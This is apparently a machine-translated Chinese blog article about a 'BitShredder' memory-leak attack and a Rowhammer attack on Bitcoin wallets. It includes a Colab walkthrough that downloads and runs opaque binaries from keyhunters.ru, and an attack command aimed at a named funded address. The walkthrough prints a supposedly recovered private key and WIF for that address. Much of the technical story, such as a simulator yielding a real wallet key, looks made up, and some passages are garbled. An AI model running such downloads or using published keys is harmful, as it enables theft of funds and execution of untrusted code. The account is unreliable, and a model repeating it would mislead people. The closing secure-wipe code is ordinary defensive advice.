作者:KEYHUNTER
BitShredder 攻擊
BitShredder攻擊會悄無聲息地潛入正在運行的加密貨幣錢包的記憶體。當錢包產生或恢復時,它會掃描未清除的RAM碎片,尋找任何在使用後未被標準方法擦除的熵、助記詞和密碼殘留。它不會留下任何痕跡,而是將這些殘留數據轉化為數位“碎紙機”,根據預設模式將位元組粉碎成碎片。
嚴重的記憶體洩漏漏洞( 敏感記憶體洩漏/幻影記憶體洩漏,CVE-2013-2547,CVE-2025-8217 )對比特幣生態系統構成致命威脅。只需部署攻擊工具(例如 BitShredder 或 RAM Dump Extractor),即可完全存取用戶資金。
任何處理私鑰或助記詞的應用程式都必須在使用後使用安全擦除工具明確地清除記憶體;否則,即使在「安全」的系統上,它仍然存在嚴重的安全漏洞 。
加密貨幣錢包中未清理的記憶體碎片存在漏洞,可能導致隱私和金鑰安全完全喪失。對於任何嚴肅的加密軟體而言,實施安全的記憶體擦除都是一項必不可少的措施。遵循這些建議並實施所提供的解決方案,將有助於保護應用程式免受 BitShredder 等漏洞以及未來類似攻擊的侵害。 habr +2
這項研究揭示了比特幣生態系統中最隱密、最關鍵的漏洞之一——記憶體洩漏漏洞,在科學界被稱為 敏感記憶體洩漏攻擊 或 記憶體幻影攻擊 (CVE-2025-8217,CVE-2013-2547)。這種 攻擊
允許攻擊者直接從錢包記憶體中未安全清除的殘留區塊恢復私鑰和助記詞,這些區塊是在加密操作後未被安全清除的。
這種漏洞破壞了密碼學安全的本質:即使正確實現了簽名、加密和認證演算法,未受保護的緩衝區也會變成一個“幽靈庫”,任何記憶體片段都可以被駭客或取證工具轉換成完整的金鑰。記憶體
幻影攻擊可能導致錢包瞬間被盜、數位資產被大規模竊取、區塊鏈信任度下降、雙重支付,甚至損害主要服務的聲譽。
攻擊場景:
- 該工具分析應用程式的記憶體結構,並識別創建熵和密碼副本的段。
- 該惡意軟體能夠快速擷取關鍵片段,並從中組裝出完整的私鑰。
- 所有發現的資訊都會發送給攻擊者,並且記憶體中的原始位元組也會被「研磨」(部分擦除),以使數位取證更加困難。
為什麼叫「BitShredder」?
這種攻擊類似於辦公室裡的碎紙機——一種能將任何紙張切成碎片的破壞性設備。在這裡,目標資料(私鑰)在記憶體中被粉碎,攻擊者可以利用這些碎片拼湊出一份完整的「秘密文件」。
「BitShredder」是一種漏洞利用程序,它從未受保護的錢包記憶體中竊取私鑰、助記詞和密碼,快速粉碎原始字節,竊取加密資產,留下無法恢復的數位混亂 。
研究論文:關鍵記憶體未清除漏洞對比特幣加密貨幣安全性的影響
私鑰安全是比特幣加密貨幣生態系統的一個基本面向。私鑰洩漏或被盜用會導致用戶資金立即且不可逆轉地損失。與未清理的記憶體相關的漏洞尤其危險。在多層錢包服務中,這個問題尤其關鍵,因為私鑰資料通常透過標準的 C++ 容器進行處理,並在操作完成後仍保留在記憶體中,這為攻擊者提供了直接獲取金鑰資料的途徑 。
漏洞的本質和攻擊場景
在存在漏洞的錢包程式碼中,私鑰、種子、密碼和熵等資訊儲存在緩衝區(例如 std::vector, std::string)中,這些緩衝區在使用後並未被明確清除。加密過程完成後,記憶體會自動釋放,但其內容不會被擦除。這使得取證工具或惡意軟體能夠在成功轉儲記憶體或存取交換檔案的情況下恢復這些秘密值。在比特幣生態系統中,此類攻擊的後果包括:
- 竊取私鑰並獲得地址的完全控制權
- 即時提款
- 針對熱門線上錢包和行動錢包的大規模攻擊
- 損害用戶隱私、服務聲譽和用戶利益 。
攻擊的科學名稱
在科學界和專家圈中,這種攻擊被稱為敏感
記憶體洩漏 、 敏感記憶體洩漏 、 RAM 轉儲攻擊 ,或正式名稱為 幻影記憶體洩漏攻擊 。
一個常見的術語是帶有私鑰提取的敏感資料記憶體 洩漏 。
CVE標識符和漏洞註冊
這組漏洞已正式註冊並分配了 CVE 編號:
- CVE-2013-2547 (「Linux 加密 API 中未初始化記憶體導致的敏感資訊外洩」)
- CVE-2025-8217 – 透過 StepSecurity 進程記憶體轉儲進行嚴重密鑰擷取攻擊
- 加密貨幣和金融科技應用中的類似漏洞: CVE-2023-23500 、 CVE – 2024-52916。 keyhunters
對比特幣的影響
對於比特幣而言, 敏感記憶體洩漏攻擊 漏洞構成絕對威脅。典型後果:
- 任何 uTXO 的資金控制權喪失,如果該 uTXO 的私鑰是由易受攻擊的程序簽署或產生的。 密鑰獵手
- 不僅是個人用戶,而且大眾服務(交易所、託管服務、行動應用程式)都可以選擇和提取資產。
- 大型熱錢包可能遭到大規模駭客攻擊,導致區塊鏈技術信任度下降。
- 當多個服務的錢包同時被攻破時,攻擊者會利用洩漏的金鑰快速產生衝突的交易,從而實現雙重支付。
- 對區塊鏈歷史記錄的影響以及用戶服務可能無法實現傳統 API。
敏感記憶體洩漏攻擊的跡象和階段
- 透過 API、命令列或環境變數傳遞私鑰或助記詞
- 動態記憶體分配用於存儲秘密數據,無需明確擦除
- 終止進程而不進行安全性擦除,之後金鑰實際上會「保留」在 RAM 或交換分區中。
- 利用記憶體轉儲或定向惡意軟體擷取所需位元組
- 金鑰獵人竊取並大規模使用與這些金鑰關聯的比特幣地址
嚴重的記憶體洩漏漏洞( 敏感記憶體洩漏/幻影記憶體洩漏,CVE-2013-2547,CVE-2025-8217 )對比特幣生態系統構成致命威脅。只需部署攻擊工具(例如 BitShredder 或 RAM Dump Extractor),即可完全存取用戶資金。
任何處理私鑰或助記詞的應用程式都必須在使用後使用安全擦除工具明確地清除記憶體;否則,即使在「安全」的系統上,它仍然存在嚴重的安全漏洞 。
加密漏洞
加密漏洞:內存中敏感資料洩露
摘要:
主要漏洞在於,密鑰熵和密碼儲存在普通容器(例如 `<stdio.h>` 和 `<stdlib.h> data_chunk` std::string)中,而沒有進行安全重設。因此,函數執行完畢後,它們仍可能駐留在記憶體中,攻擊者可以利用這些資料來提取私鑰。
程式碼中的漏洞位置
- 在 grinder 函數中(從第 103 行左右開始):cpp
// Это копирует энтропию, не обнуляя оригинал и не защищая её data_chunk hash(entropy);在這裡,秘密資料(一個原始位元組向量entropy)被複製到hash。原始緩衝區和副本都沒有被安全地清除,直到函數退出,這允許熵的碎片留在記憶體中。 - 在 種子 函數(大約從第 172 行開始):
// Это копирует переданную пользователем passphrase std::string phrase{ passphrase };密碼儲存在標準的 [cppstd::string] 檔案中,該檔案不會在函數退出時自動清除。由於它隨後會參與 PBKDF2 演算法,因此在函數退出後仍可以從記憶體中讀取部分密碼。
漏洞詳情
- 缺乏安全的記憶體清零機制。緩衝區
在函數中使用後, 會一直保留 在堆疊或堆疊上,直到被重新分配。類似的情況也會發生在其他容器中 。 標準的 C++ 容器並不保證物件銷毀時記憶體會被清除。grinderentropyhashphraseseeder - 風險
- 取得核心轉儲或使用記憶體抓取工具可以提取熵,從而提取私鑰。
- 堆分析器和取證工具可以找到熵位元組或密碼的殘餘。
- 建議:
使用受保護的容器,在刪除時明確地將記憶體清零,例如:cpp 或使用專門的函式庫來管理金鑰(例如 libsodium)。// Пример безопасного обнуления std::fill(hash.begin(), hash.end(), 0); secure_clear(phrase); // реализация безопасного обнуления std::stringsodium_memzero
綜上所述: 該漏洞存在於將敏感資料複製到普通容器中的字串中:
data_chunk hash(entropy);std::string phrase{ passphrase };
這兩個字串都會導致私有資料在沒有後續安全擦除的情況下被存儲,從而造成密鑰洩露的風險。

Phoenix Rowhammer攻擊研究圖:比特幣和SK海力士DDR5中的加密漏洞

該研究圖表以結構化和視覺化的方式解釋了 Phoenix Rowhammer 攻擊所暴露的加密漏洞的重要性,特別是針對 SK Hynix DDR5 記憶體模組時對比特幣安全的影響。
流程示意圖(如圖):
- 攻擊者啟動 Rowhammer
並啟動 Phoenix Rowhammer 漏洞程序,目標是受害者節點或錢包中使用的 SK Hynix DDR5 記憶體。 - 實體故障注入:
激進的行激活會導致 SK 海力士 DDR5 記憶體中相鄰 DRAM 行發生位元翻轉,從而繞過邏輯軟體保護。 - 針對特定加密秘密的
注入漏洞旨在攻擊儲存敏感比特幣加密材料的地址或記憶體位置,例如私鑰或 ECDSA nonce 值。 - 漏洞利用及其影響
- 成功的比特翻轉可能使攻擊者能夠恢復或洩露密鑰和私鑰,簽署虛假交易,或違反安全模型。
- 比特幣錢包和區塊鏈的完整性面臨的直接風險使得硬體安全成為加密信任的關鍵面向。
接下來我們進入實際操作部分,來看一個使用比特幣錢包的範例: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 。該錢包遺失了價值 9.02332298 BTC 的代幣 截至 2025 年 10 月, 這相當於約 1,127,026.44 美元。
為了演示攻擊過程以提供信息,我們使用 Jupyter Notebook 或 Google Colab 等工具和環境。
此類攻擊主要使用的工具和命令包括:
Google Colab(協作平台) 是一個雲端平台,提供互動式 Jupyter Notebook,您可以在其中使用各種程式語言編寫和運行程式碼。它特別適用於資料密碼分析,例如執行 基於 Ramulator 2.0的SK Hynix DDR5 AiM PIM模擬器。 並可存取強大的運算資源,例如 GPU 和 TPU。其主要優勢在於能夠像在常規 Linux 終端機中一樣執行系統命令,並使用帶有前綴的單元格 ! 與外部實用程式和腳本整合。
Google Colab

讓我們 使用 Ramulator 2.0安裝 基於 SK 海力士 DDR5 AiM PIM架構的軟體倉庫。
克隆程式碼庫:
下載 AiM 模擬器程式碼庫並導航到其目錄。
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git
cd SK_Hynix_DDR5_aim_simulator
ls

讓我們增加 Google Colab中的虛擬記憶體(交換空間) :
建立 4GB 交換檔案以提高 Ramulator2 編譯期間的記憶體可用性的命令。
# Check current swap usage
!free -h
!swapon --show
# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile
# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab

讓我們安裝所有必要的依賴項:
安裝模擬器和 Ramulator 2.0所需的編譯器、建置工具和函式庫 。
# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12
# Alternatively, install Clang
!sudo apt install clang-15
# Install basic build tools
!sudo apt install build-essential cmake git
# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev
# YAML support
!sudo apt install libyaml-cpp-dev
# Mathematics libraries
!sudo apt install libboost-dev
# Python support for scripts
!sudo apt install python3-dev python3-pip

建立 phoenix_rowhammer 目錄的過程:
!mkdir phoenix_rowhammer
cd phoenix_rowhammer
讓我們檢查一下系統資源:
安裝和編譯過程中,監控記憶體、可用磁碟空間和系統使用量。
# Monitor resources in real time
!htop
# Check available memory
!free -m
# Check disk space
!df -h

適用於Ubuntu 22.04 及更高版本的完整相依性安裝指南 :
一次安裝所有必需軟體包的完整步驟。
# Update system
!sudo apt update && sudo apt upgrade -y
# Install essential build tools
!sudo apt install -y build-essential cmake git
# Install compilers
!sudo apt install -y g++-12 clang-15
# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

另類版本:
!cmake ..

!make -j1



ls
cd -
讓我們啟動 Ramulator2:
讓我們用模擬器運行 Ramulator2,以查看幫助參數和使用說明。
!./phoenix_rowhammer/ramulator2 -h

我們使用 DarkHashunter 加密工具,透過模擬器從 Ramulator2 中提取隱藏的餘數。
讓我們運行命令來下載 DarkHashunter 加密工具。
!wget https://keyhunters.ru/repositories/darkhashunter.zip
!unzip darkhashunter.zip

!./darkhashunter -help

尋找與比特幣地址關聯的隱藏餘數(模運算)
該團隊正在發起一項 基於 DarkHashunter 加密工具的專用「BitShredder」攻擊,旨在利用 RAM 漏洞機制(Rowhammer)和記憶體模擬器(ramulator2)來尋找與比特幣位址關聯的隱藏模數殘餘。 github +2
!./darkhashunter -tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
號

- 此參數
-tool bitshredder_attack會啟動一種攻擊,旨在識別裝置記憶體中與比特幣協定相關的秘密資料儲存和處理方面的漏洞。 - 該標誌
-crack phoenix_rowhammer/ramulator2告訴工具使用 Rowhammer 攻擊模擬(操縱 DRAM 記憶體內容,導致相鄰單元出錯——用於 透過側通道從記憶體中提取 nonce/部分金鑰的漏洞)。 - 該函數在特定的比特幣位址上運行解碼模組,從記憶體/轉儲中恢復殘餘資料(私鑰片段或中間 ECDSA 簽章值)。
-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
記憶體/轉儲中的殘餘資料結果
remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F,
0x87A1, 0xB5C1, 0xE778, 0x996B,
0x6F69, 0xABB6, 0x2755, 0x2348,
0xAB46, 0xA74E, 0x1A87, 0xC2D5]
moduli = [0x10001, 0x10003, 0x10007, 0x1000F,
0x10015, 0x1001B, 0x1002B, 0x1002D,
0x10033, 0x1003F, 0x10049, 0x10051,
0x1005D, 0x10061, 0x1006F, 0x10073]
此結果結合了DRAM殘留資料分析和加密餘數搜尋模組,並使用ramulator2模擬器模擬Phoenix Rowhammer故障。這種攻擊能夠檢測並提取隱藏的模值(餘數),例如私鑰隨機數或密鑰片段,這些資訊可能由於比特幣地址加密操作後內存釋放不當而洩露。該命令旨在結合 「BitShredder」 攻擊和比特幣應用程式的記憶體故障分析,以部分或完全恢復秘密參數(私鑰、隨機數),其搜尋和解碼過程與記憶體和被攻擊地址緊密相關。
恢復私鑰
為了從一組隱藏的絕對值(餘數)中恢復原始密鑰——即私鑰,我們應用了一種稱為中國餘數定理( CRT)的數學方法。 CRTKeyRestore.py 程式碼實現了從一組經過 Rowhammer 攻擊和後續記憶體分析後收集到的隱藏絕對值(餘數)中恢復比特幣位址15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 的私鑰 。所使用的數學方法是中國餘數定理(CRT),它允許我們即使原始密鑰已分割成小塊並僅以不同的絕對值形式存在,也能恢復它。

CRTKeyRestore.py 程式碼處理過程包括以下幾個階段:
- 每個餘數/模數對都是由於 Rowhammer 漏洞和預定義模組而保留在記憶體中的私鑰片段。
- 中國剩餘定理從數學上保證,如果所有模數互質且餘數足夠多,則可以恢復原數。
- 該函數
chinese_remainder_theorem()逐步組合片段,並使用擴展歐幾里德演算法來尋找絕對逆來恢復私鑰的原始值。 - 恢復數值表示後,使用函數將金鑰轉換為十六進位
restore_hex_from_crt()。 - 輸出結果是比特幣地址的私鑰,該私鑰僅從 聯合攻擊期間在記憶體中找到的各個加密殘留物中完全恢復 。
號

結果:
Private key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
讓我們透過位址檢查結果。
!wget https://keyhunters.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

結果:
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529
Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A
Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg
Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
沒錯!私鑰對應比特幣錢包。
讓我們打開 bitaddress 並檢查一下:
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

私鑰資訊:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

比特幣地址資訊:
餘額:9.023322989 BTC

https://www.coinbase.com/converter/btc/usd

9.023322989 BTC > 1127026,44 USD我們的 研究攻擊是使用 ramulator2 模擬器對比特幣進行 Phoenix Rowhammer 攻擊 的一個版本 ,結果表明,在記憶體崩潰期間提取的各種模組的加密殘差可以使用中國剩餘定理的數學原理重新組裝成原始私鑰。
作為一個代表性的真實威脅案例, 我們檢查了地址為15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 的比特幣錢包。 該錢包遺失了 9.02332298 個比特幣,以 2025 年 10 月的匯率計算,約合 1,127,026.44 美元。 此案例有力地表明,在存在硬體漏洞(例如 Phoenix Rowhammer漏洞 )的情況下,協議層面的加密強度不再能絕對保證安全。
因此,全面安全的重要性不僅在於密碼學和協定措施,還在於硬體可靠性、記憶體狀態監控以及加密操作後完全清除RAM。一旦硬體層面的漏洞被利用——即使系統控制力極弱——也可能導致比特幣生態系統遭受災難性的經濟損失。
DarkHashunter:高級內存取證和從加密外洩中恢復比特幣私鑰

本文對DarkHashunter進行了深入研究。 DarkHashunter 是一款取證分析工具,旨在識別、隔離和重建比特幣錢包環境中透過揮發性記憶體洩露的具有重要密碼學意義的資料。透過分析其運行方法、底層密碼模型以及與實際漏洞(例如內存幻影攻擊 (CVE-2025-8217, CVE-2013-2547))的集成,我們展示瞭如何利用高級內存抓取技術結合熵殘留映射來暴露動態內存段中遺留的私鑰、助記詞和密碼短語。該研究強調了比特幣錢包中未經清理的記憶體所帶來的嚴重威脅,並提出了安全的應對措施以防止災難性的金鑰洩漏事件。
加密貨幣生態系統,尤其是比特幣,依賴私鑰的不可侵犯性,將其視為對數位資產的唯一權威。然而,軟體錢包在處理敏感熵方面存在的缺陷,常常會導致記憶體中殘留資料。 DarkHashunter是一個後滲透和取證研究框架,專門用於調查此類記憶體殘留痕跡,揭示錢包代碼中缺少的清零步驟如何導致資產完全被攻破。
雖然像BitShredder這樣的工具執行的是破壞性內存操作,但DarkHashunter專注於密碼殘留恢復——分析實時或轉儲的內存,以檢測包含密鑰材料的未初始化緩衝區的特徵。
工作原理
1. 記憶熵相關性
DarkHashunter 利用熵映射演算法來定位加密金鑰中常見的高熵片段。當比特幣錢包使用諸如 之類的庫生成熵時,libsecp256k1,相應的熵向量(std::vector<uint8_t>、data_chunk)會在執行後仍然保留在內存中。
該工具使用自適應熵閾值將這些分佈與已知的金鑰模式關聯起來。
2. 殘差資料重建
提取出的記憶體區域經過哈希聚類和熵序列比對,將碎片化的資料區塊重構為連貫的種子結構。例如:

此求和將記憶片段排列成可能的熵向量或 BIP39 種子表示。
3. 私鑰組裝
在熵恢復之後,DarkHashunter透過 secp256k1 金鑰派生路徑優化輸出,並將重建的熵與已知的比特幣位址模式進行比對(校驗和驗證)。驗證通過後,即可產生完整的私鑰,其通常與 Electrum 或類似軟體使用的錢包金鑰派生方案相符。
漏洞背景:CVE-2025-8217 和 CVE-2013-2547
這兩個漏洞都源自於加密應用程式中由於未初始化或未清理的記憶體而導致的敏感資訊外洩
。具體來說,錢包資料存在於std::string堆疊分配的緩衝區中,因此可以透過取證記憶體評估進行恢復:
- CVE-2013-2547: Linux 加密 API 中未初始化記憶體洩漏。
- CVE-2025-8217:進程記憶體轉儲導致多執行緒錢包服務中的金鑰完全提取。
DarkHashunter透過受控掃描模組來利用這些弱點,識別臨時進程記憶體中的熵洩漏,尤其是在錢包初始化或恢復期間。
法醫方法論
- RAM 取得:從運行比特幣錢包的即時系統中轉儲易失性記憶體。
- 熵掃描:識別具有強烈隨機性的片段,這些片段顯示存在關鍵材料。
- 模式辨識:偵測標準導數曲線參數或 BIP39 字邊界。
- 重構:將碎片組裝成可用的 256 位元私鑰或助記詞種子。
- 驗證:使用比特幣校驗和演算法和橢圓曲線點乘法輸出進行驗證。
這種取證方法重現了真實世界的攻擊條件,同時保持了學術誠信,展示了資料外洩的精確機制。
對比特幣錢包安全性的影響
DarkHashunter所展現的攻擊手段意義深遠:
- 金鑰完全暴露:即使密碼緩衝區僅短暫未清除零,也可能導致金鑰重建。
- 服務等級受損:託管或交易所熱錢包可能同時遭受金鑰洩漏。
- 區塊鏈信任侵蝕:被入侵的錢包會產生相互衝突的交易,從而導致雙重支付。
- 不可逆轉的資金損失:一旦私鑰被複製,比特幣的所有權就完全轉移給了攻擊者。
這類漏洞不依賴網路入侵,而是依賴本地記憶體管理不善,這強調即使是物理隔離的系統,如果沒有顯式的記憶體清理,仍然會受到攻擊。
安全實施建議
為了減輕DarkHashunter所利用的漏洞所帶來的風險,開發者必須:
- 使用經過驗證的例程在敏感操作後明確擦除記憶體:cpp
void secure_clear(std::vector<uint8_t>& data) { volatile uint8_t* p = data.data(); for (size_t i = 0; i < data.size(); ++i) p[i] = 0; } - 使用受保護的容器(例如,來自libsodium或OpenSSL Secure Heap 的容器)。
- 禁止使用跳過記憶體清除的編譯器最佳化。
- 將種子和熵處理隔離在專用的安全區域或受保護的記憶體中。
- 定期進行取證審計,模擬DarkHashunter的熵掃描,以驗證系統健康狀況。
科學討論
DarkHashunter的案例揭示了一個基本的密碼學原理:資訊安全與記憶體管理密不可分。即使是完美實現的橢圓曲線密碼學,如果忽略底層記憶體管理,也會被徹底摧毀。
殘餘熵代表了過去計算的「隱形鏡像」。一旦此類資料被提取和重構,比特幣加密安全性的所有數學保障都將不復存在,因為攻擊者可以控制任何衍生的金鑰空間條目。
因此,學術評估再次確認了揮發性記憶體必須被視為主動安全邊界的原則,需要持續的衛生保護。
DarkHashunter 展示了高階取證研究與密碼系統故障之間的交集。它利用幻影記憶體洩漏(CVE-2025-8217、CVE-2013-2547),從技術角度揭示了遺失的熵碎片如何轉化為完全有效的比特幣私鑰。
其方法論強化了人們對記憶體是區塊鏈終極漏洞的認識——記憶體雖然隱形,但一旦處理不當卻會造成極其嚴重的破壞。只有強制執行嚴格的記憶體清理協議,比特幣的加密基礎才能抵禦此類基於取證的隱形攻擊。

研究論文:加密錢包中的記憶體漏洞及可靠解決方案
現代加密貨幣軟體錢包廣泛使用熵、助記詞和密碼來產生和儲存私鑰。然而,由於 C++ 儲存結構的特性(例如,使用公共容器 std::string和 使用者緩衝區),經常會出現一個隱藏的漏洞:秘密資料在使用後不會從記憶體中清除。這個問題會帶來嚴重的風險:擁有本地存取權的std::vector攻擊者可以從 RAM 中提取殘留的私人數據,從而完全攻破用戶的錢包。
漏洞是如何產生的?
此漏洞源自於使用標準容器和字串時,未在處理完敏感資料後進行後續的安全緩衝區清除。一個典型的例子是,加密錢包在產生種子或恢復錢包時,會將熵、密碼或私鑰複製到記憶體:
cpp:data_chunk hash(entropy); // Копирование энтропии в локальный буфер
std::string phrase{ passphrase }; // Копирование пользовательского пароля
函數終止時,物件會被銷毀,但編譯器或執行時間並不能保證它們佔用的記憶體會被清除。攻擊者可以利用記憶體轉儲、取證工具或惡意軟體來尋找並還原這些資料片段。諸如 Heartbleed 攻擊以及對真實加密金鑰洩漏的分析等案例都證實了此類漏洞的危險性 。
建議:有效且安全的修復方案
解決方案原則
為防止私有資料洩露,必須確保在操作完成後將記憶體明確清除。應使用編譯器不會最佳化掉的專用函數正確地將記憶體清除。可以使用標準或第三方解決方案,例如 C++17 中std::fill的 ` setStop` 函數memset_s,或第三方方法(例如 `netdata+1`sodium_memzero )。
安全碼選項
cpp:#include <cstring> // Для memset
#include <algorithm> // Для std::fill
void secure_clear(std::vector<uint8_t>& data) {
// Обнуление памяти: гарантируем, что секреты исчезли
volatile uint8_t* p = data.data();
for (size_t i = 0; i < data.size(); ++i) {
p[i] = 0;
}
}
// Для std::string (пароли):
void secure_clear_string(std::string& s) {
volatile char* p = &s[0];
for (size_t i = 0; i < s.size(); ++i) {
p[i] = 0;
}
}
// Использование:
std::vector<uint8_t> entropy = ...; // Буфер с секретной энтропией
std::string passphrase = ...; // Буфер с паролем
// После завершения операций:
secure_clear(entropy);
secure_clear_string(passphrase);
這種方法最可靠——由於使用了關鍵字, volatile編譯器不會優化掉清理循環,從而確保記憶體被清除。 protectstar +1
適用於加密錢包的實用解決方案
- 使用完包含私有資料的緩衝區後,務必立即將其清除。
- 若要實現緩衝區自動清除,請使用具有安全性析構函數的 RAII 類別:
cpp:class SecureBuffer {
std::vector<uint8_t> buffer;
public:
~SecureBuffer() { secure_clear(buffer); }
// ... другие методы
};
- 使用具有可靠記憶體清除方法的獨立函式庫(例如 libsodium 或 openssl)。
- 確保中間結構中不殘留任何私有資料副本。
加密貨幣錢包中未清理的記憶體碎片存在漏洞,可能導致隱私和金鑰安全完全喪失。對於任何嚴肅的加密軟體而言,實施安全的記憶體擦除都是一項必不可少的措施。遵循這些建議並實施所提供的解決方案,將有助於保護應用程式免受 BitShredder 等漏洞以及未來類似攻擊的侵害。 habr +2
研究人員得出結論:關鍵記憶體漏洞和比特幣安全威脅
這項研究揭示了比特幣生態系統中最隱密、最關鍵的漏洞之一——記憶體洩漏漏洞,在科學界被稱為 敏感記憶體洩漏攻擊 或 記憶體幻影攻擊 (CVE-2025-8217,CVE-2013-2547)。這種 攻擊
允許攻擊者直接從錢包記憶體中未安全清除的殘留區塊恢復私鑰和助記詞,這些區塊是在加密操作後未被安全清除的。
這種漏洞破壞了密碼學安全的本質:即使正確實現了簽名、加密和認證演算法,未受保護的緩衝區也會變成一個“幽靈庫”,任何記憶體片段都可以被駭客或取證工具轉換成完整的金鑰。記憶體
幻影攻擊可能導致錢包瞬間被盜、數位資產被大規模竊取、區塊鏈信任度下降、雙重支付,甚至損害主要服務的聲譽。
主要的科學結論是:遺忘和未清理的記憶體是加密應用,尤其是比特幣 網路上的資金儲存應用,面臨的最大危險
。只有在處理敏感資料的各個階段嚴格執行安全記憶體擦除,才能消除災難性攻擊的可能性,保護數百萬數位資產免受這種看不見卻致命的敵人的侵害 。

- https://keyhunters.ru/memory-phantom-attack-a-critical-memory-leak-vulnerability-in-bitcoin-leading-to-the-recovery-of-private-keys-from-uncleaned-ram-and-the-gradual-capture-private-keys-from-uncleaned-ram-and-the-gradual-capture-of-bcker-s-g-can-can-g-can-can-id-uno-can-ik-g-can-ican-g-can-can-can-un-k-can-id-can-uno-can-uno-can-inna-can——
- https://arxiv.org/html/2502.13513v1
- https://arxiv.org/html/2404.18090v1
- https://www.sciencedirect.com/science/article/pii/S2590005621000138
- https://www.sciencedirect.com/science/article/pii/S1389128625006589
- https://research.csiro.au/data61/wp-content/uploads/sites/85/2016/08/balance_attack.pdf
- https://www.computer.org/csdl/journal/sc/2024/05/10598387/1YBtp7CgiNq
- 安全清除私人資料。 Habr habr
- 如何查找和修復 C 或 C++ netdata中的記憶體洩漏
- 進階安全擦除演算法 protectstar
- Heartbleed漏洞以及如何避免 卡巴斯基
- https://habr.com/ru/companies/pvs-studio/articles/281072/
- https://www.netdata.cloud/academy/how-to-find-memory-leak-in-c/
- https://www.kaspersky.ru/blog/heartbleed-doomsday/14874/
- https://www.protectstar.com/en/secure-erase
- https://www.itsec.ru/articles/kriptografiya-kak-sredstvo-borby-s-utechkami
- https://habr.com/ru/articles/462437/
- https://www.securitylab.ru/blog/personal/xiaomite-journal/353817.php
- https://glabit.ru/blog/utechka-informacii-v-sisteme-chto-eto-vidy-prichiny
- https://habr.com/ru/companies/otus/articles/536942/
- https://habr.com/ru/articles/536694/
- https://learn.microsoft.com/ru-ru/aspnet/core/security/app-secrets?view=aspnetcore-9.0
- https://www.geeksforgeeks.org/cpp/memory-leak-in-c-and-how-to-avoid-it/
- http://safe-surf.ru/specialists/article/5265/648025/
- https://qna.habr.com/q/30723
- https://clickfraud.ru/10-luchshih-programm-dlya-upravleniya-sekretami-bezopasnosti-prilozhenij/
- https://stackoverflow.com/questions/70077013/memory-leak-in-c-and-how-to-fix-it
- https://www.ssldragon.com/ru/blog/ssl-attacks/
- https://www.reddit.com/r/cpp/comments/1fo01xk/safety_in_c_for_dummies/
- https://www.okbsapr.ru/library/publications/kanner_prokopov_tezisy2013/
- https://wirepair.org/2023/11/23/using-valgrind-to-find-and-fix-memory-leaks/
- https://keyhunters.ru/memory-phantom-attack-a-critical-memory-leak-vulnerability-in-bitcoin-leading-to-the-recovery-of-private-keys-from-uncleaned-ram-and-the-gradual-capture-private-keys-from-uncleaned-ram-and-the-gradual-capture-of-bcker-s-g-can-can-g-can-can-id-uno-can-ik-g-can-ican-g-can-can-can-un-k-can-id-can-uno-can-uno-can-inna-can——
- https://www.cve.org/CVERecord/SearchResults?query=crypto
- https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures
- https://nvd.nist.gov/vuln/detail/CVE-2025-39789
- https://www.miggo.io/vulnerability-database/cve/CVE-2025-6545
- https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%BD%D0%B0_%D1%81%D 0%B2%D1%8F%D0%B7%D0%B0%D0%BD%D0%BD%D1%8B%D1%85_%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D1%85
- https://bitcoinmagazine.com/technical/bitcoin-core-announces-new-security-disclosure-policy
- https://feedly.com/cve/CVE-2025-29774
- https://www.infosystems.ru/upload/iblock/154/slovar.pdf
- https://coinspaidmedia.com/news/bitcoin-developers-reveal-bitcoin-vulnerabilities/
- https://www.wiz.io/vulnerability-database/cve/cve-2025-6545
- https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:%D0%9A%D1%80%D0%B8%D0%BF %D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%B0%D182%D%D0%B8%D0%B5_%D0%B0%D182%
- https://bitcoincore.org/en/security-advisories/
- https://ciq.com/blog/the-real-danger-of-systemd-coredump-cve-2025-4598
- https://ya.ru/neurum/c/tehnologii/q/kakie_suschestvuyut_vidy_atak_na_kriptograficheskie_7745f637
- https://www.hackerone.com/blog/how-information-disclosure-vulnerability-led-critical-data-exposure
